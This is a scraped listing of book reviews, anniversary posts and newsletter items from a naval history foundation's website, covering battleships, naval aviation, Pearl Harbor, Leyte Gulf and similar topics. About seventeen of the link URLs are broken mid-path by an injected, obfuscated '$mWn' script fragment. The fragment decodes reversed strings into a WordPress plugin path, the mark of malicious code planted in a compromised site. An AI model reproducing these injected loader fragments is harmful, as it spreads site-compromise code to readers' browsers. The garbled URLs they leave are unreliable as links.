- [Battleships of World War II, Volume One](https://navyhistory.org/2020/04/battleshipsofworldwarii/) - Reviewed by Ed Calouro In his introduction (p. 7), Mirosław Skwiot, author of The Battleships of World War Two, Vol. I, notes his book about World War II-era capital ships is a “photo album” with “unique photographic material enriched with the brief combat record of individual battleships.” Skwiot’s objective is to allow readers to visualize
- [Nightmare at Scapa Flow: The Truth About the Sinking of HMS Royal Oak](https://navyhistory.org/2020/05/nightmare-at-scapa-flow-the-truth-about-the-sinking-of-hms-royal-oak/) - Reviewed by Mr. Walt Haskins. The version reviewed is a 2019 paperback re-printing of the original, published in 1980. The author, some forty years ago, had access to many of the original sailors and witnesses, both British and German, and provides first-hand accounts of their recollections. He analyzes contemporary documentation from both British and German
- [Battleships of the III Reich.  Vol. 1](https://navyhistory.org/2020/05/battleships-of-the-iii-reich-vol-1/) - Reviewed by Ed Calouro Witold Koszela, author of Battleships of the III Reich, Vol. 1, is a prolific writer who has penned many books about several nations’ warships. Among these are histories of the British Nelson and King George V-class battleships, several books about American battlewagons, including the South Dakota and Iowa classes, and books
- [2020 Teacher of Distinction Awards](https://navyhistory.org/2020/05/2020-teacher-of-distinction-awards/) - For the third straight year the Naval Historical Foundation (NHF) will recognize talented middle and high school teachers whose students produce award winning projects having a naval or maritime theme in the annual National History Day (NHD) competition. Continuing a program started in 2018, NHF will present “Teacher of Distinction” awards to teachers whose students
- [Tribute to Admiral James L. Holloway III](https://navyhistory.org/2019/11/tribute-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Memorial: The funeral service for former Chief of Naval Operations Admiral James L. Holloway III was held at the US Naval Academy Chapel, Annapolis, MD, on Wednesday, December 18, 2019 at 10:00 am. The Chapel service was followed by a brief committal service at the nearby Academy cemetery, and then a reception hosted by the
- [History of Naval Aviation Part 2 - "Father of the Trap"](https://navyhistory.org/2020/04/father-of-the-trap/) - By NHF Staff Historian Dr. Dave Winkler Sea Power, October 2017 As plans proceeded to convert the collier Jupiter to become the Navy’s first aircraft carrier Langley at the Norfolk Naval Shipyard, the carrier’s prospective flight officer, Lt. Cdr. Godfrey deC. Chevalier noted an oversight in the plans. Interviewed in 1970, Alfred “Mel” Pride recalled “Chevalier told me that I
- [History of Naval Aviation Part 1 - "Naval Aviation Pioneer Henry C. Mustin"](https://navyhistory.org/2020/04/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - First published in Sea Power - October 2009 By NHF Staff Historian Dr. Dave Winkler [Editors note: Rear Admiral John Mustin, Vice Commander, Fleet Forces Command, great grandson of Captain Henry Mustin (featured below) is currently overseeing the USN Comfort as it assists medical operations to battle the novel Coronavirus pandemic in New York City.]
- [History of Naval Aviation Part 3 - "Flight Quarters in the Nation’s Capital"](https://navyhistory.org/2020/04/flight-quarters-in-the-nations-capital/) - By NHF Staff Historian Dr. Dave Winkler Sea Power, October 2016 On April 10, 1922, at hearings of the Senate Subcommittee of Naval Affairs, Sen. David I. Walsh of Massachusetts asked Lt. Willis B. Haviland, a pilot who had been assigned to a recently commissioned ship, “What is the Langley?” Haviland responded, “She is a poor excuse for
- [The Washington Navy Yard:  An Illustrated History. Special Commemorative Memorial Edition](https://navyhistory.org/2020/03/the-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Reviewed by Kenneth J. Blume, Ph.D. The original edition of this volume was published in 1999 to commemorate the bicentennial of the Washington Navy Yard. This slightly revised edition has been published to honor those workers killed in the infamous September 2013 mass shooting at NAVSEA Building 197. The main changes in this edition include
- [Admiral John S. McCain and the Triumph of Naval Airpower](https://navyhistory.org/2020/04/admiral-john-s-mccain/) - Reviewed by NHF Director of Membership Programs, ENS Sean Bland, USNR A professor of history at Auburn University in Alabama, William F. Trimble has written extensively on the history of Naval Aviation, including studies of Glenn Curtiss, Admiral William Moffett, and the Seaplane Striking Force program. Drawing from this in-depth knowledge of the history of naval
- [Kangaroo Squadron: American Courage in the Darkest Days of World War II](https://navyhistory.org/2020/04/kangaroo-squadron-american-courage-in-the-darkest-days-of-world-war-ii/) - Reviewed by CWO Darien Garland On December 6th 1941, in the days of celestial navigation, there were flying boats in the sky over the Pacific Ocean, heading towards the Hawaiian island of Oahu. As the sun appeared above the horizon, the pilots of the approaching B-17 Bombers were ready for their island-time crew rest and
- [The Lusitania Sinking: Eyewitness Accounts from Survivors](https://navyhistory.org/2020/03/the-lusitania-sinking-eyewitness-accounts-from-survivors/) - Reviewed by Kenneth J. Blume, Ph.D. The torpedoing and then sinking of the Cunard liner Lusitania on 7 May 1915 is of course one of the iconic events of World War I—with broad military/naval and diplomatic consequences. Anthony Richards tells the story from a human perspective, with the bulk of the book drawing upon contemporary
- [The Navy’s First Enlisted Women: Patriotic Pioneers](https://navyhistory.org/2020/03/the-navys-first-enlisted-women-patriotic-pioneers/) - Reviewed by Mary S. Bell, PhD. Women have volunteered to serve during every war or conflict since the U.S. fought for its independence in the 18th century. However, there is little written on women’s roles in winning the nation’s wars relative to the amount written on men’s roles. The contributions of women and other minorities
- [French Armoured Cruisers 1887-1932](https://navyhistory.org/2020/02/french-armoured-cruisers-1887-1932/) - Review by Mr. Charles Bogart Between 1887 and 1910, France built 26 armoured cruisers. These ships were built as single units or as part of a class of ships that numbered between two and five units. Despite the homely looks of French warships during this period, French naval architectural design, at this time, was in
- [The Boundless Sea: A Human History of the Oceans](https://navyhistory.org/2020/02/the-boundless-sea-a-human-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Review by Mr. John Grady Make no mistake about David Abulafia's The Boundless Sea, it is a monumental work, tackling the largest subject on the planet, the seas, and having as an overlay of that story the planet's most perplexing creature -- humans. At almost 1,000 pages of text, The Boundless Sea is not a
- [USS Olympia](https://navyhistory.org/2020/02/uss-olympia/) - By John Brady, President, Board of Directors, Flagship Olympia Foundation The USS Olympia, the former Navy cruiser who brought World War I Unknown Soldier home from Europe, is celebrating her 125th birthday this year. To mark the momentous milestone, we’re sharing stories about her crew. These men include the African American cabin stewards and mess attendants who
- [The Russian Destroyer Spravedlivyy 1956](https://navyhistory.org/2020/01/the-russian-destroyer-spravedlivyy-1956/) - The Russian Destroyer Spravedlivyy 1956 [Super Drawings in 3D Series #16067]By Oleg Pomoshnikov and Jan Radziemski, Kagero Publishing, (2018). Reviewed by Jeff Schultz. Jeff Schultz teaches history and political science courses at Luzerne County Community College in Nanticoke, PA. He has presented papers at the McMullen Naval History Symposium, the Northern Great Plains History Conference,
- [Churchill’s Thin Grey Line: British Merchant Ships at War 1939-1945](https://navyhistory.org/2020/01/churchills-thin-grey-line-british-merchant-ships-at-war-1939-1945-2/) - Churchill’s Thin Grey Line: British Merchant Ships at War 1939-1945By Bernard Edwards, Pen & Sword Maritime, Barnsley, UK, (2017). Reviewed by Dr. Ingo Heidbrink, Professor, Old Dominion University.Click here to buy Churchill's Thin Grey Line: British Merchant Ships at War 1939–1945 now!
- [Polaris: The Chief Scientist’s Recollection of the American North Pole Expedition](https://navyhistory.org/2020/01/polaris-the-chief-scientists-recollection-of-the-american-north-pole-expedition/) - Polaris: The Chief Scientist’s Recollection of the American North Pole Expedition, 1871-73By Emil Bessel, edited by William Barr, University of Calgary Press, Calgary, AB, (2016). Reviewed by Dr. Ingo Heidbrink, Professor, Old Dominion University.Click here to buy Polaris: The Chief Scientist's Recollections of the American North Pole Expedition, 1871-73 now!
- [Reflection on Dr. Martin Luther King Jr.](https://navyhistory.org/2020/01/reflection-on-dr-martin-luther-king-jr/) - Master Chief Rusty Perry, USN (Ret.) was the senior enlisted Sailor for Navy Medicine and Education Training Command, the Navy Medicine’s formal enlisted and officer education and training programs.Reflection reprinted from: https://navymedicine.navylive.dodlive.mil/archives/4056 Shipmates, One of the pioneering minds of this past century penned those words nearly five decades ago, and while appropriate for that time
- [Heroes of Annapolis](https://navyhistory.org/2019/12/heroes-of-annapolis/) - Heroes of Annapolis: The True Stories of Fourteen Graduates of the U.S. Naval Academy from the Civil War to the War on TerrorBy David Poyer, with introduction by J. William Middledorf II, Northampton House Press, (2019). Reviewed by C. Herbert Gilliland.Click here to buy Heroes Of Annapolis: The True Stories of Fourteen Graduates of the
- [Uncommon Valour: The Story of the Victoria Cross](https://navyhistory.org/2019/12/uncommon-valour-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Uncommon Valour: The Story of the Victoria CrossBy Granville Allen Mawer, Pen and Sword Military, Philadelphia, PA, (2019). Reviewed by C. Herbert Gilliland.Click here to buy Uncommon Valour: The Story of the Victoria Cross now!
- [The New Battle for the Atlantic](https://navyhistory.org/2019/12/the-new-battle-for-the-atlantic/) - The New Battle for the Atlantic: Emerging Naval Competition with Russia in the Far North By Magnus Nordenman, Naval Institute Press, Annapolis, MD, (2019). Reviewed by Dr. Linda Parker.Click here to buy The New Battle for the Atlantic: Emerging Naval Competition with Russia in the Far North now!
- [The Attack on Pearl Harbor - December 7, 1941](https://navyhistory.org/2019/12/the-attack-on-pearl-harbor-december-7-1941/) - Dear Naval Historical Foundation Family, Welcome back for this week's edition of Thursday Tidings. Today we are looking back on the tragic events of Pearl Harbor, which took place 78 years ago this Saturday. The event signaled the entrance of the United States into the Second World War, the most destructive conflict in human history.This
- [Battleships: The War at Sea](https://navyhistory.org/2019/12/battleships-the-war-at-sea/) - Battleships: The War at SeaBy Ingo Bauernfeind, Casemate Publishers, Oxford, UK, (2018). Reviewed by Charles H. Bogart. Charles is a frequent contributor to Naval History Book Reviews. Click here to buy Battleships: The War at Sea now!
- [Combat at Close Quarters: An Illustrated History of the U.S. Navy in the Vietnam War](https://navyhistory.org/2019/12/combat-at-close-quarters-an-illustrated-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - Combat at Close Quarters: An Illustrated History of the U.S. Navy in the Vietnam WarBy Edward J. Marolda, Editor. Naval Institute Press, Annapolis, MD, (2018). Reviewed by Diana L. Ahmad, Ph.D. of Missouri University of Science and Technology.Click here to buy Combat at Close Quarters: An Illustrated History of the U.S. Navy in the Vietnam
- [British Cruiser Warfare: The Lessons of the Early War, 1939-1941](https://navyhistory.org/2019/12/british-cruiser-warfare-the-lessons-of-the-early-war-1939-1941/) - British Cruiser Warfare: The Lessons of the Early War, 1939-1941 By Alan Raven, Seaforth Publishing, South Yorkshire, UK, (2019). Reviewed by Corbin Williamson, Air War College.Click here to buy British Cruiser Warfare: The Lessons of the Early War 1939–1941 now! [1] The views expressed in this academic research paper are those of the author and
- [Dunkirk: Nine Days that Saved an Army](https://navyhistory.org/2019/12/dunkirk-nine-days-that-saved-an-army/) - Dunkirk: Nine Days that Saved an Army, A Day by Day Account of the Greatest EvacuationBy John Grehan, Frontline Books, Barnsley, UK, (2018). Reviewed by Harold E. Stark.Click here to buy Dunkirk: Nine Days That Saved An Army: A Day-by-Day Account of the Greatest Evacuation now!
- [Treason: A Novel](https://navyhistory.org/2019/10/treason-a-novel/) - Treason By Rick Campbell, St. Martin’s Press, New York, (2019). Reviewed by CDR Wilbur Hall, CISSP, Instructor, Joint Forces Staff College.Click here to buy Treason: A Novel now!
- [Happy Birthday to the U.S. Navy Chaplain Corps](https://navyhistory.org/2019/11/happy-birthday-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - This week for Thursday Tidings, we are looking back on the rich history of the United States Navy Chaplain Corps, which was officially established on November 28th, 1775. For the first two decades of the Chaplain Corps, clergy served alongside sailors as civilians - finally in 1799 William Balch became the first officially commissioned, permanent
- [American Indian Heritage Month](https://navyhistory.org/2019/11/american-indian-heritage-month/) - By NHF Intern Tim Davidson On August 3, 1990, President George H.W. Bush declared the month of November as National American Indian Heritage Month, also referred to as Native American Heritage Month in order to include Inuit and Aleuts peoples. As the nation honors the cultures and traditions of the Indigenous peoples of this country,
- [The Greene Papers](https://navyhistory.org/2019/10/the-greene-papers/) - The Greene Papers: General Wallace M. Greene Jr. and the Escalation of the Vietnam War, January 1964-March 1965By Nicholas J. Schlosser, U.S. Marine Corps, History Division, Quantico, VA, (2016). Reviewed by LtCol. Robert Weingart USMC, Military Faculty, Joint Forces Staff College. Click here to buy The Greene Papers : General Wallace M. Greene Jr. and
- [The Battle of Leyte Gulf - October 23-26, 1944](https://navyhistory.org/2019/10/the-battle-of-leyte-gulf-oc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - The Battle of Leyte Gulf (75 years ago today) is often cited as the largest naval battle of World War II, and by some criteria, the largest naval battle in history. The battle was not a single engagement, but a series of scattered battles across an area of more than 100,000 square miles of sea.
- [The Battle of Leyte Gulf 75th Anniversary Symposium](https://navyhistory.org/2019/09/leyte-gulf-75th-symposium/) - Overview In 2004, Admiral James Holloway III and the Naval Historical Foundation (NHF) hosted a symposium on the 60th anniversary of the largest naval battle in history. Fifteen years later the Naval Historical Foundation returns to the historic Decatur House, formerly the Truxtun-Decatur Naval Museum, to host The Battle of Leyte Gulf 75th Anniversary Symposium.
- [Dutch Navies of the 80 Years War](https://navyhistory.org/2019/10/dutch-navies-of-the-80-years-war/) - Dutch Navies of the 80 Years War, 1568-1648 (New Vanguard #263)By Bouko de Groot, Illustrated by Peter Bull, Osprey Publishing, Oxford and New York, (2018). Reviewed by Jeff Schultz. Jeff Schultz teaches history and political science courses at Luzerne County Community College in Nanticoke, PA. He has presented papers at the McMullen Naval History Symposium,
- [Triumphant Warrior](https://navyhistory.org/2019/10/triumphant-warrior/) - Triumphant Warrior: The Legend of the Navy’s Most Daring Helicopter Pilot By Peter D. Shay, Casemate, Havertown, PA, (2019). Reviewed by Cdr. Stan Fisher, Ph.D. Commander Fisher received his doctorate from the University of Maryland and is a member of the U.S. Naval Academy History Department faculty. Click here to buy Triumphant Warrior: The Legend of
- [The History of Navigation](https://navyhistory.org/2019/10/the-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - The History of NavigationBy Dag Pike, Pen & Sword Maritime, Barnsley, South Yorkshire, England, (2018). Reviewed by Michael F. Solecki. Solecki is an independent naval historian, holds undergraduate degrees in engineering and earth sciences and a Master of Arts degree in Military History from Norwich University, a veteran of the U.S. Navy and NOAA and
- [Pirate Hunter: The Life of Captain Woodes Rogers](https://navyhistory.org/2019/10/pirate-hunter-the-life-of-captain-woodes-rogers/) - Pirate Hunter: The Life of Captain Woodes RogersBy Graham A. Thomas, Pen & Sword Maritime, Barnsley, South Yorkshire, England, (2019). Reviewed by Diana L. Ahmad, Ph.D. of Missouri University of Science and Technology. Click here to buy Pirate Hunter of the Caribbean: The Adventurous Life of Captain Woodes Rogers now!
- [German Submarine U-1105 “Black Panther”: The Naval Archaeology of a U-boat](https://navyhistory.org/2019/09/german-submarine-u-1105-black-panther-the-naval-archaeology-of-a-u-boat/) - Aaron S. Hamilton earned a Bachelor’s and Master's degree in History in 1995 at Old Dominion University in Norfolk, Virginia and calls himself an avocational historian and amateur maritime archaeologist. Hamilton has spent more than twenty years working with primary source documents related to the last year of World War II. His thesis was on
- [Two Naval History Anniversaries](https://navyhistory.org/2019/10/two-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - This week we are highlighting two important, recent anniversaries in Naval History: first, the birthday of Jesse L. Brown, a pioneering and remarkable Naval Aviator, and second, the first commissioning of a group of women into the Active Duty, regular Navy. Editor's Note: Thursday Tidings and the NHF leadership team appreciates the feedback received about
- [Dr. Philip Karl Boraas Lundeberg, Remembered](https://navyhistory.org/2019/10/dr-philip-karl-boraas-lundeberg-remembered/) - By NHF Historian Dr. Dave Winkler Early on October 3rd, the naval history community lost one of its finest with the passing of Dr. Philip Karl Boraas Lundeberg. He was 96. Along with James Bradford and William Still, he was the first to be honored with the Naval Historical Foundation’s highest award in recognition of
- [Thursday Tidings: National Hispanic Heritage Month](https://navyhistory.org/2019/09/thursday-tidings-national-hispanic-heritage-month/) - Introduction By NHF Executive Director, Rear Admiral Sonny Masso, USN (Ret.) Thursday Tidings this week focuses on National Hispanic Heritage Month, which is a great time to reflect on our Navy’s rich Hispanic Heritage and the many accomplishments this part of our community has made in making our Navy the best in the world. Major
- [Mail Call](https://navyhistory.org/2019/09/mail-call/) - “Mail Call—All divisional representatives lay to the post office to receive mail” These words stirred up many an emotion as ships of the line impatiently and frustratedly waited for regular mail, sometimes weeks at a time. Moods of Sailors could swing on a dime with a good, or not-so-good, note from a loved one at
- [The 2019 McMullen Symposium + "Thank God for the United States Navy"](https://navyhistory.org/2019/09/the-2019-mcmullen-symposium-thank-god-for-the-united-states-navy/) - Welcome to our seventh edition of Thursday Tidings! Please find our previous editions here.In this week's special edition, we are coming to you live from the biennial McMullen Symposium at the United States Naval Academy. The McMullen Symposium, which has been held since 1973, is the premier gathering of professional Naval Historians from around the
- ["A Team of Heroes"](https://navyhistory.org/2019/09/a-team-of-heroes/) - By Rear Admiral Sonny Masso, USN (Ret.) Originally published in the US Naval Institute's Proceedings - October 2001 As commanding officer of the Naval Reserve Navy Command Center (NCC) Detachment 106, it is my duty to assess crises in terms of potential Navy response. On hearing of the terrorist attack on the World Trade Center
- [Building for Battle: U-Boat Pens of the Atlantic Battle](https://navyhistory.org/2019/09/building-for-battle-u-boat-pens-of-the-atlantic-battle/) - Philip Kaplan is a well-established author with some forty titles spanning aviation, naval and general military subjects such as Wolfpack, Chariots of Fire, Little Friends, Grey Wolves and One Last Look. In this work, [apparently] the second Kaplan wrote for the “Building for Battle” series from Pen & Sword, he tackles the subject of the
- [German Destroyers (ShipCraft #25)](https://navyhistory.org/2019/09/german-destroyers-shipcraft-25/) - Robert Brown’s German Destroyers is an impressively concise work which expertly details the Kriegsmarine’s destroyer classes of World War II in such a manner as to please the historian, ship modeler and naval enthusiast simultaneously in a thoughtful and energetic presentation well supported by a range of varying images. Brown divides the 64-page book into
- [Spy Pilot](https://navyhistory.org/2019/09/spy-pilot/) - No name is more synonymous with the Cold War battle for intelligence between the United States and the Soviet Union than Frances Gary Powers. The May 1960 shoot down of a U-2 over the Soviet Union removed the veil of secrecy of the airplane’s existence and chilled already frosty relations between geopolitical competitors. The pilot’s
- [America’s Anchor](https://navyhistory.org/2019/09/americas-anchor/) - The author is a retired military officer (Brig. Gen. Delaware Air National Guard, Retired) a native of Newark, Delaware, a third generation Delaware Guardsman, and a career Air Force veteran. A graduate of the University of Delaware, General Wiggins also holds a Master's degree from National Defense University in National Resource Strategy. He is a
- [NHF's 2nd Annual Five-Star Mess Night](https://navyhistory.org/2019/08/nhfs-2nd-annual-five-star-mess-night/) - After the overwhelming success of the Naval Historical Foundation's inaugural mess night last year, NHF hosted its second annual Five-Star Mess Night on June 8th. Guests joined the Foundation in the National Museum of the U. S. Navy in celebration of the pivotal historical milestone of the 75th anniversary of World War II's Allied invasion
- [Vice Admiral Samuel L. Gravely, Jr.](https://navyhistory.org/2019/08/vice-admiral-samuel-l-gravely-jr/) - Welcome to our fourth edition of Thursday Tidings! So far in our Thursday Tidings we have looked at reflections by President Harry S Truman, war reports by Admiral Ernest J. King, and information regarding the USS Thresher (SSN 593) disaster. Find previous editions here! This week we are looking at the life and retirement of Vice Admiral Samuel Gravely, the first
- [Welcome CNO Gilday!](https://navyhistory.org/2019/08/welcome-cno-gilday/) - "It is a great honor and privilege to welcome our 32nd Chief of Naval Operations, Adm. Michael Gilday, USN. The Naval Historical Foundation stands ready to support your tenure in any way possible to promote the lessons of our past with the important imperatives of our future." - Rear Adm. Sonny Masso, USN (Ret.), Executive Director
- [Declassify the Thresher Data](https://navyhistory.org/2019/08/declassify-the-thresher-data/) - The loss of this advanced sub was an avoidable tragedy. The Navy finally should release all related information. Article originally published in the U.S. Naval Institute's Proceedings in July of 2018. You may access the original post on USNI's website at: https://www.usni.org/magazines/proceedings/2018/july/declassify-thresher-data By CAPT James B. Bryant, USN (Ret.); NHF Member It has now been
- [The Breakaway Song Tradition](https://navyhistory.org/2019/08/making-waves/) - by RADM Sonny Masso I was listening to Deep Tracks on Sirius/XM the other day in my car and I heard the Eagles song, “Midnight Flyer." It was one of those songs that you sometimes hear that make you want to pull over, stop the car, and just listen. While not viewed by the listening
- [Tiger Cruises](https://navyhistory.org/2019/08/tiger-cruises/) - One of the true joys of returning from sea from a long deployment is to have a loved one join you on a short transit home to see what Dad, Mom, Aunt or Uncle does in the Navy. This post will be co-written by me and the NHF director of Events, Mr. Sam Hall, whose
- [Lessons from World War II: Fleet Admiral Ernest J. King](https://navyhistory.org/2019/08/lessons-from-world-war-ii-fleet-admiral-ernest-j-king/) - Ernest J King served as the Chief of Naval Operations during World War II. King was only the second person in history to have earned the rank of Fleet Admiral, and he left a nearly-unparalleled legacy on the history of the service. Last week in our Thursday Tidings we looked at President Truman's reflections on
- [President Truman's Reflection on the Atomic Bomb](https://navyhistory.org/2019/08/president-trumans-reflection-on-the-a<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssa/) - On August 6th, 1945, the United States dropped the first nuclear-powered ordnance upon the Japanese city of Hiroshima. Three days later, a second nuclear bomb was detonated over the city of Nagasaki. Tomorrow, August 9th, 2019, will mark the 74th year from this history-altering event.While these two bombings may have ended World War II, the
- [A Hard Fought Ship](https://navyhistory.org/2019/08/a-hard-fought-ship/) - If the employment of destroyers during peace time and war time is of interest to you, this is a must-read book. The authors have crafted one of the finest ship histories this reviewer has encountered. HMS Venomous was one of the 67 V and W class destroyers built by the Royal Navy during the last
- [The King George V Class Battleships](https://navyhistory.org/2019/08/the-king-george-v-class-battleships/) - The story of the Royal Navy during World War II often centers around one of the five battleships of the King George V Class (KGV): HMS King George V, HMS Prince of Wales, HMS Duke of York, HMS Anson, and HMS Howe. The author of this book has crafted a tour de force that examines
- [Remembering Neil Armstrong](https://navyhistory.org/2019/07/remembering-neil-armstrong/) - Among the notable names of past U.S. presidents, retired Fleet Admirals, and famous authors who have held memberships with the Naval Historical Foundation is astronaut Neil Armstrong. With the 50th anniversary of his stepping on the lunar surface to exclaim “One small step for man, a giant leap for mankind,” the Naval Historical Foundation takes
- [The War with Hitler's Navy](https://navyhistory.org/2019/07/the-war-with-hitlers-navy/) - Adrian Stewart was educated at Rugby School before taking First Class Honours at Caius College, Cambridge. Caius is also the alma mater of the broadcaster David Frost, physicist Stephen Hawking, and historian Simon Sebag Montefiore. Stewart lives near Rugby a market town in Warwickshire, West Midlands, England, close to the River Avon. He is a
- [All at Sea in Arctic Waters](https://navyhistory.org/2019/03/all-at-sea-in-arctic-waters/) - All at Sea in Arctic Waters: What Life Was Really Like On Naval Ships in WW2 by Dennis McDonald, “Telegraphist (S), Bletchley U-Boat Interceptor,” is both a memoir and autobiography of a young man who volunteered for the Royal Navy during World War II and chose telegraphy as his duty. During this war, the British
- [Annual Meeting Concludes With Leighton Lecture On D-Day Featuring Dr. Brooke Blades](https://navyhistory.org/2019/07/annual-meeting-concludes-with-leigh<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Admiral Fallon convened the 94th Annual meeting of the Naval Historical Foundation on Saturday June 8, 2019 at 1217 in the main space of the Navy Museum under the Fighting Top following a BBQ lunch provided at the largess of Board Member Dr. J.P. “Jack” London. Following the approval of the minutes for the 2017, Adm.
- [Victory Without Peace](https://navyhistory.org/2019/07/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Imagine chaos raging from France through Germany that surrounded the end of the slaughter on the Western Front in the fall of 1918. Or the new rounds of killings that accompanied the revolution in Russia through 1924 and engulfed the Baltic States, ravaged Poland and ripped East Prussia from Berlin. As well, the privation of
- [War at Sea: A Shipwrecked History](https://navyhistory.org/2019/07/war-at-sea-a-shipwrecked-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - James P. Delgado is a maritime archaeologist, explorer, story-teller, acclaimed author, television host, and explorer who spent nearly four decades in underwater exploration. A native of California, he earned his doctorate in Archaeology from Simon Fraser University, has an M.A. in Maritime Studies from East Carolina University, and took his B.A. in History from San
- [Viet Nam Vignettes: Tales of the Magnificent Bastards](https://navyhistory.org/2019/04/viet-nam-vignettes-tales-of-the-magnificent-bastards/) - Viet Nam Vignettes is a memoir that outlines the experience of Gerald Gems from the time when he volunteered to enlist in Chicago (1966), to Marine Corps Boot Camp in San Diego, to his first assignment in Hawaii, to a combat tour in Viet Nam, and finally to his discharge and return to civilian life.
- [Soviet Cruise Missile Submarines of the Cold War](https://navyhistory.org/2019/04/soviet-cruise-missile-submarines-of-the-cold-war/) - After WWII the Soviet Union found itself confronted with a new and largely unanticipated problem: the aircraft carriers of the US Navy. They were the chief defense of the sea lanes to our forces disputing the superior Red Army’s potential control of western Europe, as well as a force for “power projection,” capable of strategic
- [21st Century Knox](https://navyhistory.org/2019/04/21st-century-knox/) - The Naval Institute’s 21st Century series on important military and naval figures seeks to review articles and writings of these figures and examine their relevance to the 21st Century. Past volumes have examined the careers of Mahan, Patton, Soviet Admiral Gorshkov, Sims, Ellis, General Thomas Power, and Corbett. This latest book in the series examines
- [Natural Genius](https://navyhistory.org/2019/04/natural-genius/) - The American Civil War saw a number of innovations in naval warfare among which was the development of the submarine. Most authors focus on the Confederate Navy’s endeavor within this field, however, the U.S. Navy also explored the development of a submarine. In charge of the U.S. Navy’s design and construction of “Submarine propeller,” better
- [French Battleships 1914-1945](https://navyhistory.org/2019/04/french-battleships-1914-1945/) - For more than two hundred years, from Louis XIV to the twentieth century, France had the second-greatest navy in the world. It was built to challenge England’s control of the seas and enabled the building of the world’s second-largest overseas colonial empire – and American independence into the bargain. France’s navy always built ships of
- [USN Fleet Destroyer VS IJN Fleet Submarine; The Pacific 1941-42](https://navyhistory.org/2019/05/usn-fleet-destroyer/) - For many years after WWII, discussion of the Japanese wartime submarine force focused on its apparent failure – certainly its failure to achieve anything like the US and German submarine campaigns. Writing in the USNI Proceedings in 1961, Japanese submarine officer and historian Kennosuke Torisu notes that Japanese subs sank only a total of 171
- [Pacific Thunder](https://navyhistory.org/2019/05/pacific-thunder/) - World War II was an air war. That is not to say that other arms were not important, they certainly were, but as the war progressed, victory at sea or on the ground grew to be difficult, if not impossible, without at least local air superiority. Underscoring the importance of air power at sea, Thomas
- [The Great War in America](https://navyhistory.org/2019/06/the-great-war-in-america/) - The First World War stands as the one of the great turning points in history. At its time, the most destructive human conflict ever experienced, the world before and after the war were distinctly different. Great empires fell, while others receded, new powers rose and ideas about patriotism, nationality, the role of class in society,
- [Character: The Ultimate Success Factor](https://navyhistory.org/2019/06/character-the-ultimate-success-fac<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - With over 55-years of experience as a military leader and corporate executive, J. Phillip London has developed a singular guiding premise which directly relates one’s character to one’s success: “your character will absolutely determine the kind of life you will live.” (p. 18) He systematizes this concept in what he refers to as character-driven success,
- [The Dunkirk Evacuation in 100 Objects](https://navyhistory.org/2019/06/the-dunkirk-evacuation-in-100-objects/) - Martin Mace has a wealth of knowledge in writing about military history. Currently, he is the editor for Frontline Books and has over twenty years of experience in publishing and journalism. He has published several books on the subject and has co-authored multiple best-selling titles. In addition, he is the founding editor of Britain at
- [The Battle of the Atlantic](https://navyhistory.org/2019/04/the-battle-of-the-atlantic/) - World War II histories that focus on numbers of planes lost, bombs dropped, ships sunk, and tons of supplies delivered are superb at getting to the operations analysis of what turned the war in the Allies favor—but suffer from an objective dullness. The Battle of the Atlantic: How the Allies Won the War is quite
- [Top Gun: An American Story](https://navyhistory.org/2019/03/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - This is a powerful insider’s account of an important and uniquely American institution, Top Gun, the U.S. Navy Fighter Weapons School. The author, Captain Dan Pedersen (USN) was the first officer in charge of Top Gun, establishing it with his hand selected eight naval aviators and naval flight officers—the “Bros.” What makes this an American
